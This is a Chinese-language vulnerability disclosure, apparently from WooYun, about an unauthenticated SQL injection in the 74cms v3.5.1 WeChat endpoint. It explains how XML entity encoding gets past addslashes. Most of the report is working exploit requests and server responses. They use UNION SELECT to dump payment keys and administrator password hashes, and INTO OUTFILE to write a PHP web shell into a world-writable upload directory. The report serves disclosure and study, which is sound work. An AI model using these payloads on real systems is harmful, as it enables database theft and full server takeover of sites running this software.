### 简要描述: 专注挖魂。。。 74cms_v3.5.1_20141027.zip 无限制SQL注入 ### 详细说明: 刚下了个74cms_v3.5.1_20141027.zip,diff了一下发现了下面的改动: ``` diff -Nurp upload.1020/plus/weixin.php upload.1027/plus/weixin.php --- upload.1020/plus/weixin.php2014-10-18 12:14:22.000000000 +0800 +++ upload.1027/plus/weixin.php2014-10-25 14:45:22.000000000 +0800 @@ -21,10 +21,10 @@ class wechatCallbackapiTest extends mysq } public function responseMsg() { -if(!$this->checkSignature()) -{ - exit(); - } +// if(!$this->checkSignature()) +// { + // exit(); + // } $postStr = addslashes($GLOBALS["HTTP_RAW_POST_DATA"]); if (!empty($postStr)) { ``` 注释调了checkSignature(),是为了啥????? [WooYun: 74CMS最新版绕过继续任意文件读取(通用性分析)到任意文件删除](http://www.wooyun.org/bugs/wooyun-2014-075009) 曾经分析过这里的XXE漏洞以及SQLI,不过,被次利用的是另外两个BUG。 先看code. ``` class wechatCallbackapiTest extends mysql { public function valid() { $echoStr = $_GET["echostr"]; if($this->checkSignature()) { exit($echoStr); } } public function responseMsg() { // if(!$this->checkSignature()) // { //...
### 简要描述: 专注挖魂。。。 74cms_v3.5.1_20141027.zip 无限制SQL注入 ### 详细说明: 刚下了个74cms_v3.5.1_20141027.zip,diff了一下发现了下面的改动: ``` diff -Nurp upload.1020/plus/weixin.php upload.1027/plus/weixin.php --- upload.1020/plus/weixin.php2014-10-18 12:14:22.000000000 +0800 +++ upload.1027/plus/weixin.php2014-10-25 14:45:22.000000000 +0800 @@ -21,10 +21,10 @@ class wechatCallbackapiTest extends mysq } public function responseMsg() { -if(!$this->checkSignature()) -{ - exit(); - } +// if(!$this->checkSignature()) +// { + // exit(); + // } $postStr = addslashes($GLOBALS["HTTP_RAW_POST_DATA"]); if (!empty($postStr)) { ``` 注释调了checkSignature(),是为了啥????? [WooYun: 74CMS最新版绕过继续任意文件读取(通用性分析)到任意文件删除](http://www.wooyun.org/bugs/wooyun-2014-075009) 曾经分析过这里的XXE漏洞以及SQLI,不过,被次利用的是另外两个BUG。 先看code. ``` class wechatCallbackapiTest extends mysql { public function valid() { $echoStr = $_GET["echostr"]; if($this->checkSignature()) { exit($echoStr); } } public function responseMsg() { // if(!$this->checkSignature()) // { // exit(); // } $postStr = addslashes($GLOBALS["HTTP_RAW_POST_DATA"]); if (!empty($postStr)) { // libxml_disable_entity_loader(true); $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA); $fromUsername = $postObj->FromUserName; $toUsername = $postObj->ToUserName; $keyword = trim($postObj->Content); $keyword = utf8_to_gbk($keyword); $keyword = addslashes($keyword); $time = time(); $event = trim($postObj->Event); if ($event === "subscribe") { $word= "»ØžŽj·µ»ØœôŒ±ÕÐÆž£¬»ØžŽn·µ»Ø×îÐÂÕÐÆž£¡Äú¿ÉÒÔ³¢ÊÔÊäÈëְλÃû³ÆÈç¡°»áŒÆ¡±£¬ÏµÍ³œ«»á·µ»ØÄúÒªÕÒµÄÐÅÏ¢£¬ÎÒÃÇŬÁŠŽòÔì×îÈËÐÔ»¯µÄ·þÎñƜ̚£¬Ð»Ð»¹Ø×¢¡£"; $this->exit_word_message($word,$fromUsername,$toUsername,$time); } $default_pic=ROOT."/data/images/".DEFAULT_PIC; $first_pic=ROOT."/data/images/".FIRST_PIC; if($event === "CLICK"){ if($_CFG['weixin_apiopen']=='0') { $word="ÍøÕŸÎ¢ÐŜӿÚÒÑŸ¹Ø±Õ"; $this->exit_word_message($word,$fromUsername,$toUsername,$time); } if($postObj->EventKey=="binding"){ $usinfo = $this->get_user_info($fromUsername); if(!empty($usinfo)){ $word="ÄúÒÑŸ°ó¶š¹ýÁË!"; }else{ $word="ÇëÊäÈëÄúµÄÕ˺ÅÃÜÂë. ÀýÈç:ÕÅÈý/123456"; } $this->exit_word_message($word,$fromUsername,$toUsername,$time); } ... private function get_user_info($fromUsername){ $usinfo = array(); $usinfo_obj = $this->query("select * from ".table('members')." where weixin_openid='".$fromUsername."' limit 1"); while($row = $this->fetch_array($usinfo_obj)){ $usinfo = $row; } return $usinfo; } ``` ``` $postStr = addslashes($GLOBALS["HTTP_RAW_POST_DATA"]); ``` 对整个POST_DATA做了addslashes。 ``` $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA); $fromUsername = $postObj->FromUserName; ``` 然后: ``` $usinfo = $this->get_user_info($fromUsername); ===> $this->query("select * from ".table('members')." where weixin_openid='".$fromUsername."' limit 1"); ``` $fromUsername从simplexml_load_string()后就直接进入了SQL中,addslashes($GLOBALS["HTTP_RAW_POST_DATA"])就解决了所有问题么?答案是否定的。因为XML中特殊字符也可以编码: ``` 特殊字符 特殊含义 实体编码 > 开始标记 > < 结束标记 < " 引号 " ' 撇号 ' & 和号 & ``` 也就是说在XML中使用&apos就把'号注入进去了,并且这里post data没有任何过滤,可以注入任何SQL语句,所以我们可以导出整个数据库,甚至getshell. 看到下面的代码,也许有人会说,这里是有条件的,因为这里判断了$_CFG['weixin_apiopen']=='0')。 ``` if($event === "CLICK"){ if($_CFG['weixin_apiopen']=='0') { $word="ÍøÕŸÎ¢ÐŜӿÚÒÑŸ¹Ø±Õ"; $this->exit_word_message($word,$fromUsername,$toUsername,$time); } ``` 不过,这里的$_CFG['weixin_apiopen']真的有效么?下面的代码可以告诉我们: ``` <?php $_CFG = 0; class Test { function myprint() { echo "$_CFG in class=" . $_CFG; } } echo "in file =" . $_CFG; $tt = new Test(); $tt->myprint(); ?> ``` 在浏览器访问一下http://127.0.0.1:8081/74cms/test.php,结果为: ``` in file =0 Notice: Undefined variable: _CFG in /var/www/html/74cms/test.php on line 7 Notice: Undefined variable: _CFG in /var/www/html/74cms/test.php on line 7 in class= ``` 也就是在class object里面访问$_CFG是无效的。 那么,那么, ``` $_CFG['weixin_apiopen']=='0' ``` 这个条件就是永远都不会成立的,不管你后台开不开weixin_api。 好了,所有条件限制都排除了,可以直接注入了。 一下为74cms_v3.5.1_20141027默认安装测试: ``` POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709 HTTP/1.1 Content-Type: application/xml User-Agent: http4e/5.0.12 Host: 127.0.0.1:8081 Content-Length: 155 <xml> <ToUserName>111</ToUserName> <FromUserName>1111'</FromUserName> <Content>2222</Content> <Event>CLICK</Event> <EventKey>binding</EventKey> </xml> ``` ``` HTTP/1.1 200 OK Date: Wed, 29 Oct 2014 07:33:13 GMT Server: Apache/2.4.10 (Fedora) PHP/5.5.18 mod_wsgi/3.5 Python/2.7.5 mod_perl/2.0.9-dev Perl/v5.18.4 X-Powered-By: PHP/5.5.18 Set-Cookie: PHPSESSID=2ctd2pnvhip2mpvbs57rlvmq91; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 79 Content-Type: text/html;charset=gb2312 Error��Query error:select * from qs_members where weixin_openid='1111'' limit 1 ``` UNION SELECT: ``` POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709 HTTP/1.1 Content-Type: application/xml User-Agent: http4e/5.0.12 Host: 127.0.0.1:8081 Content-Length: 226 <xml> <ToUserName>111</ToUserName> <FromUserName>1111' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#</FromUserName> <Content>2222</Content> <Event>CLICK</Event> <EventKey>binding</EventKey> </xml> ``` ``` HTTP/1.1 200 OK Date: Wed, 29 Oct 2014 07:36:59 GMT Server: Apache/2.4.10 (Fedora) PHP/5.5.18 mod_wsgi/3.5 Python/2.7.5 mod_perl/2.0.9-dev Perl/v5.18.4 X-Powered-By: PHP/5.5.18 Set-Cookie: PHPSESSID=3nh4puf9it16ea6omld6h26412; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 316 Content-Type: text/html;charset=gb2312 <xml> <ToUserName><![CDATA[1111' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#]]></ToUserName> <FromUserName><![CDATA[111]]></FromUserName> <CreateTime>1414568219</CreateTime> <MsgType><![CDATA[text]]></MsgType> <Content><![CDATA[您已经绑定过了!]]></Content> </xml> ``` 获取支付相关的key: ``` POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709 HTTP/1.1 Content-Type: application/xml User-Agent: http4e/5.0.12 Host: 127.0.0.1:8081 Content-Length: 303 <xml> <ToUserName>111</ToUserName> <FromUserName>1111' union select (select group_concat(id,0x7c,typename,0x7c,ytauthkey,0x5d) from qs_payment),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#</FromUserName> <Content>2222</Content> <Event>CLICK</Event> <EventKey>apply_jobs</EventKey> </xml> ``` ``` HTTP/1.1 200 OK Date: Wed, 29 Oct 2014 07:49:52 GMT Server: Apache/2.4.10 (Fedora) PHP/5.5.18 mod_wsgi/3.5 Python/2.7.5 mod_perl/2.0.9-dev Perl/v5.18.4 X-Powered-By: PHP/5.5.18 Set-Cookie: PHPSESSID=u4o47rf3pk29shkk433cfompj0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 137 Content-Type: text/html;charset=gb2312 Error��Query error:select * from qs_personal_jobs_apply where personal_uid=1|remittance|],2|chinabank|],3|tenpay|xndcgc],4|alipay|kiohad] ``` 错误信息里面的 ``` 1|remittance|],2|chinabank|],3|tenpay|xndcgc],4|alipay|kiohad] ``` 就是表里面的数据。 管理员表: ``` POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709 HTTP/1.1 Content-Type: application/xml User-Agent: http4e/5.0.12 Host: 127.0.0.1:8081 Content-Length: 303 <xml> <ToUserName>111</ToUserName> <FromUserName>1111' union select (select group_concat(admin_name,0x7c,pwd,0x7c,pwd_hash,0x5d) from qs_admin),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#</FromUserName> <Content>2222</Content> <Event>CLICK</Event> <EventKey>apply_jobs</EventKey> </xml> ``` ``` HTTP/1.1 200 OK Date: Wed, 29 Oct 2014 08:09:07 GMT Server: Apache/2.4.10 (Fedora) PHP/5.5.18 mod_wsgi/3.5 Python/2.7.5 mod_perl/2.0.9-dev Perl/v5.18.4 X-Powered-By: PHP/5.5.18 Set-Cookie: PHPSESSID=dgh5nio4aflji6ppjatq9iee14; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 121 Content-Type: text/html;charset=gb2312 Error��Query error:select * from qs_personal_jobs_apply where personal_uid=admin|81cdc144e960168e163223605e5daeba|taZeD1] ``` getshell: ``` POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709 HTTP/1.1 Content-Type: application/xml User-Agent: http4e/5.0.12 Host: 127.0.0.1:8081 Content-Length: 324 <xml> <ToUserName>111</ToUserName> <FromUserName>1111' union select 0x3C3F70687020706870696E666F28293B3F3E,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 INTO OUTFILE '/var/www/html/74cms/data/shell.php' #</FromUserName> <Content>2222</Content> <Event>CLICK</Event> <EventKey>binding</EventKey> </xml> ``` 返回错误: ``` HTTP/1.1 200 OK Date: Wed, 29 Oct 2014 08:29:11 GMT Server: Apache/2.4.10 (Fedora) PHP/5.5.18 mod_wsgi/3.5 Python/2.7.5 mod_perl/2.0.9-dev Perl/v5.18.4 X-Powered-By: PHP/5.5.18 Set-Cookie: PHPSESSID=tkimiq88f2v707inhs5avrvbd5; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 238 Content-Type: text/html;charset=gb2312 Error��Query error:select * from qs_members where weixin_openid='1111' union select 0x3C3F70687020706870696E666F28293B3F3E,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 INTO OUTFILE '/var/www/html/74cms/data/shell.php' #' limit 1 ``` 这是因为写shell.php需要有写权限,data目录不行。 但是,但是,我们也可以找一个肯定有写权限的目录: 注册一个普通用户,长传一个头像,这是会建立0777权限的目录:'data/avatar/100/2014',shell就传到这个目录吧。 ``` POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709 HTTP/1.1 Content-Type: application/xml User-Agent: http4e/5.0.12 Host: 127.0.0.1:8081 Content-Length: 340 <xml> <ToUserName>111</ToUserName> <FromUserName>1111' union select 0x3C3F70687020706870696E666F28293B3F3E,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 INTO OUTFILE '/var/www/html/74cms/data/avatar/100/2014/shell.php' #</FromUserName> <Content>2222</Content> <Event>CLICK</Event> <EventKey>binding</EventKey> </xml> ``` ``` HTTP/1.1 200 OK Date: Wed, 29 Oct 2014 08:25:09 GMT Server: Apache/2.4.10 (Fedora) PHP/5.5.18 mod_wsgi/3.5 Python/2.7.5 mod_perl/2.0.9-dev Perl/v5.18.4 X-Powered-By: PHP/5.5.18 Set-Cookie: PHPSESSID=8m121t281t85udkja8rt8ub147; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 448 Content-Type: text/html;charset=gb2312 <xml> <ToUserName><![CDATA[1111' union select 0x3C3F70687020706870696E666F28293B3F3E,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 INTO OUTFILE '/var/www/html/74cms/data/avatar/100/2014/shell.php' #]]></ToUserName> <FromUserName><![CDATA[111]]></FromUserName> <CreateTime>1414571109</CreateTime> <MsgType><![CDATA[text]]></MsgType> <Content><![CDATA[请输入您的账号密码. 例如:张三/123456]]></Content> </xml> ``` 浏览器访问: http://127.0.0.1:8081/74cms/data/avatar/100/2014/shell.php [<img src="https://images.seebug.org/upload/201410/29163420e90d935e18f4c55903468b45b102919c.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/29163420e90d935e18f4c55903468b45b102919c.png) ### 漏洞证明: 获取支付相关的key: ``` POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709 HTTP/1.1 Content-Type: application/xml User-Agent: http4e/5.0.12 Host: 127.0.0.1:8081 Content-Length: 303 <xml> <ToUserName>111</ToUserName> <FromUserName>1111' union select (select group_concat(id,0x7c,typename,0x7c,ytauthkey,0x5d) from qs_payment),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#</FromUserName> <Content>2222</Content> <Event>CLICK</Event> <EventKey>apply_jobs</EventKey> </xml> ``` ``` HTTP/1.1 200 OK Date: Wed, 29 Oct 2014 07:49:52 GMT Server: Apache/2.4.10 (Fedora) PHP/5.5.18 mod_wsgi/3.5 Python/2.7.5 mod_perl/2.0.9-dev Perl/v5.18.4 X-Powered-By: PHP/5.5.18 Set-Cookie: PHPSESSID=u4o47rf3pk29shkk433cfompj0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 137 Content-Type: text/html;charset=gb2312 Error��Query error:select * from qs_personal_jobs_apply where personal_uid=1|remittance|],2|chinabank|],3|tenpay|xndcgc],4|alipay|kiohad] ``` 管理员表: ``` POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709 HTTP/1.1 Content-Type: application/xml User-Agent: http4e/5.0.12 Host: 127.0.0.1:8081 Content-Length: 303 <xml> <ToUserName>111</ToUserName> <FromUserName>1111' union select (select group_concat(admin_name,0x7c,pwd,0x7c,pwd_hash,0x5d) from qs_admin),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#</FromUserName> <Content>2222</Content> <Event>CLICK</Event> <EventKey>apply_jobs</EventKey> </xml> ``` ``` HTTP/1.1 200 OK Date: Wed, 29 Oct 2014 08:09:07 GMT Server: Apache/2.4.10 (Fedora) PHP/5.5.18 mod_wsgi/3.5 Python/2.7.5 mod_perl/2.0.9-dev Perl/v5.18.4 X-Powered-By: PHP/5.5.18 Set-Cookie: PHPSESSID=dgh5nio4aflji6ppjatq9iee14; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 121 Content-Type: text/html;charset=gb2312 Error��Query error:select * from qs_personal_jobs_apply where personal_uid=admin|81cdc144e960168e163223605e5daeba|taZeD1] ``` getshell: [<img src="https://images.seebug.org/upload/201410/29163420e90d935e18f4c55903468b45b102919c.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/29163420e90d935e18f4c55903468b45b102919c.png)